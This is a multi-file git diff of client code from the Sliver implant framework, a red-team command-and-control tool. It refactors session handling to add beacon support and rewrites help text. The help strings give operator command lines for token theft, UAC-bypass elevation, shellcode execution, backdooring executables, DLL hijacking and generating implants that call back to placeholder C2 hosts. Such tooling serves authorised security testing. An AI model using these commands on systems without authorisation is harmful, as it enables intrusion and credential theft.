maxConnectionErrors := ctx.Flags.Int("max-errors")
limitDomainJoined := ctx.Flags.Bool("limit-domainjoined")
@@ -283,8 +283,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")),
ReconnectInterval: uint32(reconnectInterval),
PollInterval: uint32(pollInterval),
ReconnectInterval: int64(reconnectInterval) * int64(time.Second),
PollTimeout: int64(pollTimeout) * int64(time.Second),
MaxConnectionErrors: uint32(maxConnectionErrors),
LimitDomainJoined: limitDomainJoined,
@@ -475,9 +475,12 @@ func parseTCPPivotc2(args string) []*clientpb.ImplantC2 {
}
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
if config.IsBeacon {
interval := time.Duration(config.BeaconInterval)
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
} else {
con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
}
if config.ObfuscateSymbols {
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
} else if !config.Debug {
+2 -2
View File
@@ -45,8 +45,8 @@ func printHelp(con *console.SliverConsoleClient) {
groups := make(map[string]*grumble.Commands)
for _, c := range con.App.Commands().All() {
key := c.HelpGroup
if con.ActiveSession.Get() != nil {
if con.ActiveSession.Get().GetOS() != "windows" && key == consts.SliverWinHelpGroup {
if con.ActiveTarget.GetSession() != nil {
if con.ActiveTarget.GetSession().GetOS() != "windows" && key == consts.SliverWinHelpGroup {
continue
}
} else {
+21 -21
View File
@@ -173,7 +173,7 @@ Execution limits can be used to restrict the execution of a Sliver implant to ma
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
Due to the large number of options and C2s this can be a lot of typing. If you'd like to have a reusable a Sliver config
see 'help new-profile'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
see 'help profiles new'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
command.
`
generateStagerHelp = `[[.Bold]]Command:[[.Normal]] generate stager <options>
@@ -201,23 +201,23 @@ When a stager calls back to this URL, a sliver corresponding to the said profile
stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
To create a profile, use the [[.Bold]]new-profile[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
new-profile --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
`
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
[[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
Profiles are an easy way to save a sliver configurate and easily generate multiple copies of the binary with the same
settings, but will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
new-profile --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
Profiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same
settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
profiles new --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
generate-profile mtls-profile
`
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate-profile [name] <options>
[[.Bold]]About:[[.Normal]] Generate a Sliver from a saved profile (see new-profile).`
[[.Bold]]About:[[.Normal]] Generate an implant from a saved profile (see 'profiles new --help').`
msfHelp = `[[.Bold]]Command:[[.Normal]] msf [--lhost] <options>
[[.Bold]]About:[[.Normal]] Execute a metasploit payload in the current process.`
@@ -228,12 +228,12 @@ settings, but will still have per-binary certificates/obfuscation/etc. This comm
psHelp = `[[.Bold]]Command:[[.Normal]] ps <options>
[[.Bold]]About:[[.Normal]] List processes on remote system.`
pingHelp = `[[.Bold]]Command:[[.Normal]] ping <sliver name/session>
[[.Bold]]About:[[.Normal]] Ping Sliver by name or the active sliver. This does NOT send an ICMP packet, it just sends an empty
c2 message round trip to ensure the remote Sliver is still responding to commands.`
pingHelp = `[[.Bold]]Command:[[.Normal]] ping <implant name/session>
[[.Bold]]About:[[.Normal]] Ping session by name or the active session. This does NOT send an ICMP packet, it just sends a small
C2 message round trip to ensure the remote implant is still responding to commands.`
killHelp = `[[.Bold]]Command:[[.Normal]] kill <sliver name/session>
[[.Bold]]About:[[.Normal]] Kill a remote sliver process (does not delete file).`
killHelp = `[[.Bold]]Command:[[.Normal]] kill <implant name/session>
[[.Bold]]About:[[.Normal]] Kill a remote implant process (does not delete file).`
lsHelp = `[[.Bold]]Command:[[.Normal]] ls <remote path>
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.
@@ -263,10 +263,10 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
`
cdHelp = `[[.Bold]]Command:[[.Normal]] cd [remote path]
[[.Bold]]About:[[.Normal]] Change working directory of the active Sliver.`
[[.Bold]]About:[[.Normal]] Change working directory of the active session.`
pwdHelp = `[[.Bold]]Command:[[.Normal]] pwd
[[.Bold]]About:[[.Normal]] Print working directory of the active Sliver.`
[[.Bold]]About:[[.Normal]] Print working directory of the active session.`
mkdirHelp = `[[.Bold]]Command:[[.Normal]] mkdir [remote path]
[[.Bold]]About:[[.Normal]] Create a remote directory.`
@@ -290,20 +290,20 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
[[.Bold]]About:[[.Normal]] (Windows Only) Run a new process in the context of the designated user`
impersonateHelp = `[[.Bold]]Command:[[.Normal]] impersonate USERNAME
[[.Bold]]About:[[.Normal]] (Windows Only) Steal the token of a logged in user. Sliver commands that runs new processes (like [[.Bold]]shell[[.Normal]] or [[.Bold]]execute-command[[.Normal]]) will impersonate this user.`
[[.Bold]]About:[[.Normal]] (Windows Only) Steal the token of a logged in user. Sliver commands that run new processes (like [[.Bold]]shell[[.Normal]] or [[.Bold]]execute-command[[.Normal]]) will impersonate this user.`
revToSelfHelp = `[[.Bold]]Command:[[.Normal]] rev2self
[[.Bold]]About:[[.Normal]] (Windows Only) Call RevertToSelf, lose the stolen token.`
elevateHelp = `[[.Bold]]Command:[[.Normal]] elevate
[[.Bold]]About:[[.Normal]] (Windows Only) Spawn a new sliver session as an elevated process (UAC bypass)`
[[.Bold]]About:[[.Normal]] (Windows Only) Spawn a new Sliver session as an elevated process (UAC bypass)`
executeAssemblyHelp = `[[.Bold]]Command:[[.Normal]] execute-assembly [local path to assembly] [arguments]
[[.Bold]]About:[[.Normal]] (Windows Only) Executes the .NET assembly in a child process.
`
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the Sliver process.
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
[[.Bold]][[.Underline]]++ Shellcode ++[[.Normal]]
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
@@ -428,9 +428,9 @@ Each command will have the [[.Bold]]--process[[.Normal]] flag defined, which all
This command uploads a Sliver binary generated on the fly from a profile.
The profile must be created with the [[.Bold]]service[[.Normal]] format, so that the service manager can properly start and stop the binary.
To create such a profile, use the [[.Bold]]new-profile[[.Normal]] command:
To create such a profile, use the [[.Bold]]profiles new[[.Normal]] command:
new-profile --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
profiles new --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
Once the profile has been created, run the [[.Bold]]psexec[[.Normal]] command:
@@ -442,7 +442,7 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
[[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
[[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: new-profile --format shellcode --profile-name whatever --http ab.cd
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
`
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
@@ -654,7 +654,7 @@ supplied with the --profile flag.
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a Sliver generated DLL for the hijack
new-profile --format shared --mtls 1.2.3.4:1234 --profile-name dll
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
# Use a local DLL as the reference DLL
+5 -3
View File
@@ -28,6 +28,7 @@ import (
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
@@ -59,14 +60,14 @@ func HostsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string {
tw := table.NewWriter()
tw.SetStyle(table.StyleLight)
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Hostname",
"Operating System",
"Sessions",
"IOCs",
"Extension Data",
"ID (Short)",
})
for _, host := range hosts {
var shortID string
@@ -76,12 +77,12 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
shortID = host.HostUUID[:8]
}
tw.AppendRow(table.Row{
shortID,
host.Hostname,
host.OSVersion,
hostSessionNumbers(host.HostUUID, con),
len(host.IOCs),
len(host.ExtensionData),
shortID,
})
}
return tw.Render()
@@ -99,6 +100,7 @@ func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) strin
return strings.Join(sessionNumbers, ", ")
}
// SessionsForHost - Find session for a given host by id
func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
+53 -22
View File
@@ -21,22 +21,16 @@ package info
import (
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// InfoCmd - Display information about the active session
func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var session *clientpb.Session
sessionName := ctx.Args.String("session")
if con.ActiveSession.GetInteractive() != nil {
session = con.ActiveSession.GetInteractive()
} else if sessionName != "" {
session = con.GetSession(sessionName)
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
if session != nil {
con.Printf(console.Bold+" ID: %s%d\n", console.Normal, session.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
@@ -51,8 +45,29 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
con.Printf(console.Bold+" Poll Interval: %s%d\n", console.Normal, session.PollInterval)
con.Printf(console.Bold+" Poll Timeout: %s%d\n", console.Normal, session.PollTimeout)
con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
} else if beacon != nil {
con.Printf(console.Bold+" ID: %s%s\n", console.Normal, beacon.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, beacon.Name)
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, beacon.Hostname)
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, beacon.UUID)
con.Printf(console.Bold+" Username: %s%s\n", console.Normal, beacon.Username)
con.Printf(console.Bold+" UID: %s%s\n", console.Normal, beacon.UID)
con.Printf(console.Bold+" GID: %s%s\n", console.Normal, beacon.GID)
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, beacon.PID)
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
con.Printf(console.Bold+" Interval: %s%d\n", console.Normal, beacon.Interval)
con.Printf(console.Bold+" Jitter: %s%d\n", console.Normal, beacon.Jitter)
// con.Printf(console.Bold+" Poll Timeout: %s%d\n", console.Normal, beacon.PollTimeout)
// con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, beacon.ReconnectInterval)
} else {
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
}
@@ -60,36 +75,52 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// PIDCmd - Get the active session's PID
func PIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
con.Printf("%d\n", session.PID)
if session != nil {
con.Printf("%d\n", session.PID)
} else if beacon != nil {
con.Printf("%d\n", beacon.PID)
}
}
// UIDCmd - Get the active session's UID
func UIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
con.Printf("%s\n", session.UID)
if session != nil {
con.Printf("%s\n", session.UID)
} else if beacon != nil {
con.Printf("%s\n", beacon.UID)
}
}
// GIDCmd - Get the active session's GID
func GIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
con.Printf("%s\n", session.GID)
if session != nil {
con.Printf("%s\n", session.GID)
} else if beacon != nil {
con.Printf("%s\n", beacon.GID)
}
}
// WhoamiCmd - Displays the current user of the active session
func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
con.Printf("%s\n", session.Username)
if session != nil {
con.Printf("%s\n", session.Username)
} else if beacon != nil {
con.Printf("%s\n", beacon.Username)
}
}
+2 -2
View File
@@ -11,7 +11,7 @@ import (
// PingCmd - Send a round trip C2 message to an implant (does not use ICMP)
func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -20,7 +20,7 @@ func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Ping %d\n", nonce)
pong, err := con.Rpc.Ping(context.Background(), &sliverpb.Ping{
Nonce: int32(nonce),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+2 -2
View File
@@ -33,7 +33,7 @@ import (
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -60,7 +60,7 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.SpinUntil(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
if err != nil {
+4 -4
View File
@@ -185,7 +185,7 @@ func LoadMacroCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -246,7 +246,7 @@ func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
@@ -272,7 +272,7 @@ func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
@@ -297,7 +297,7 @@ func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Args: extArgs,
Data: binData,
EntryPoint: entryPoint,
+2 -2
View File
@@ -31,13 +31,13 @@ import (
// IfconfigCmd - Display network interfaces on the remote system
func IfconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
ifconfig, err := con.Rpc.Ifconfig(context.Background(), &sliverpb.IfconfigReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+4 -4
View File
@@ -31,7 +31,7 @@ import (
// NetstatCmd - Display active network connections on the remote system
func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -43,7 +43,7 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
udp := ctx.Flags.Bool("udp")
netstat, err := con.Rpc.Netstat(context.Background(), &sliverpb.NetstatReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
TCP: tcp,
UDP: udp,
Listening: listening,
@@ -72,7 +72,7 @@ func displayEntries(entries []*sliverpb.SockTabEntry, con *console.SliverConsole
}
con.Printf("Proto %-23s %-23s %-12s %-16s\n", "Local Addr", "Foreign Addr", "State", "PID/Program name")
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
for _, e := range entries {
p := ""
if e.Process != nil {
@@ -95,6 +95,6 @@ func isSliverAddr(dstAddr string, con *console.SliverConsoleClient) bool {
if len(parts) != 3 {
return false
}
c2Addr := strings.Split(con.ActiveSession.GetInteractive().ActiveC2, "://")[1]
c2Addr := strings.Split(con.ActiveTarget.GetSessionInteractive().ActiveC2, "://")[1]
return strings.Join(parts[:2], ":") == c2Addr
}
-15
View File
@@ -1,15 +0,0 @@
package operator
import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/prelude"
"github.com/desertbit/grumble"
)
func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if prelude.SessionMapper != nil {
con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
return
}
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
}
+2 -2
View File
@@ -10,7 +10,7 @@ import (
// NamedPipeListenerCmd - Start a named pipe pivot listener on the remote system
func NamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -28,7 +28,7 @@ func NamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient
_, err := con.Rpc.NamedPipes(context.Background(), &sliverpb.NamedPipesReq{
PipeName: pipeName,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+1 -1
View File
@@ -44,7 +44,7 @@ func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
printPivots(session, int64(timeout), con)
} else {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session != nil {
printPivots(session, int64(timeout), con)
} else {
+2 -2
View File
@@ -11,7 +11,7 @@ import (
// TCPListenerCmd - Start a TCP pivot listener on the remote system
func TCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -22,7 +22,7 @@ func TCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
_, err := con.Rpc.TCPListener(context.Background(), &sliverpb.TCPPivotReq{
Address: address,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+1 -1
View File
@@ -31,7 +31,7 @@ import (
// PortfwdAddCmd - Add a new tunneled port forward
func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -1,5 +1,23 @@
package operator
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
@@ -22,7 +40,7 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
AESKey: aesKey,
}
sessMapper := prelude.InitSessionMapper(config)
sessionMapper := prelude.InitSessionMapper(config)
con.PrintInfof("Connected to Operator at %s\n", url)
if !skipExisting {
@@ -34,13 +52,12 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if len(sessions.Sessions) > 0 {
con.PrintInfof("Adding existing sessions ...\n")
for _, sess := range sessions.Sessions {
err = sessMapper.AddSession(sess)
err = sessionMapper.AddSession(sess)
if err != nil {
con.PrintErrorf("Could not add session %s to session mapper: %s", sess.Name, err)
}
}
con.PrintInfof("Done !\n")
}
}
}
@@ -0,0 +1,33 @@
package operator
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/prelude"
"github.com/desertbit/grumble"
)
func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if prelude.SessionMapper != nil {
con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
return
}
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
}
+2 -2
View File
@@ -31,7 +31,7 @@ import (
func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var processName string = "Current Process"
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -42,7 +42,7 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
privs, err := con.Rpc.GetPrivs(context.Background(), &sliverpb.GetPrivsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -28,7 +28,7 @@ import (
// GetSystemCmd - Windows only, attempt to get SYSTEM on the remote system
func GetSystemCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -38,7 +38,7 @@ func GetSystemCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.SpinUntil("Attempting to create a new sliver session as 'NT AUTHORITY\\SYSTEM'...", ctrl)
getsystemResp, err := con.Rpc.GetSystem(context.Background(), &clientpb.GetSystemReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Config: config,
HostingProcess: process,
})
+2 -2
View File
@@ -28,13 +28,13 @@ import (
// ImpersonateCmd - Windows only, impersonate a user token
func ImpersonateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
username := ctx.Args.String("username")
impResp, err := con.Rpc.Impersonate(context.Background(), &sliverpb.ImpersonateReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Username: username,
})
+2 -2
View File
@@ -28,7 +28,7 @@ import (
// MakeTokenCmd - Windows only, create a token using "valid" credentails
func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -45,7 +45,7 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.SpinUntil("Creating new logon session ...", ctrl)
makeToken, err := con.Rpc.MakeToken(context.Background(), &sliverpb.MakeTokenReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Username: username,
Domain: domain,
Password: password,
+2 -2
View File
@@ -28,12 +28,12 @@ import (
// RevToSelfCmd - Drop any impersonated tokens
func RevToSelfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
_, err := con.Rpc.RevToSelf(context.Background(), &sliverpb.RevToSelfReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -28,7 +28,7 @@ import (
// RunAsCmd - Run a command as another user on the remote system
func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -47,7 +47,7 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
runAsResp, err := con.Rpc.RunAs(context.Background(), &sliverpb.RunAsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Username: username,
ProcessName: process,
Args: arguments,
+2 -2
View File
@@ -31,7 +31,7 @@ import (
// ProcdumpCmd - Dump the memory of a remote process
func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -55,7 +55,7 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
con.SpinUntil("Dumping remote process memory ...", ctrl)
dump, err := con.Rpc.ProcessDump(context.Background(), &sliverpb.ProcessDumpReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Pid: int32(pid),
Timeout: int32(ctx.Flags.Int("timeout") - 1),
})
+4 -4
View File
@@ -46,7 +46,7 @@ var (
// PsCmd - List processes on the remote system
func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -56,7 +56,7 @@ func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ownerFilter := ctx.Flags.String("owner")
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
@@ -140,7 +140,7 @@ func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool
if modifyColor, ok := knownProcs[proc.Executable]; ok {
color = modifyColor
}
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session != nil && proc.Pid == session.PID {
color = console.Green
}
@@ -170,7 +170,7 @@ func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool
// GetPIDByName - Get a PID by name from the active session
func GetPIDByName(ctx *grumble.Context, name string, con *console.SliverConsoleClient) int {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
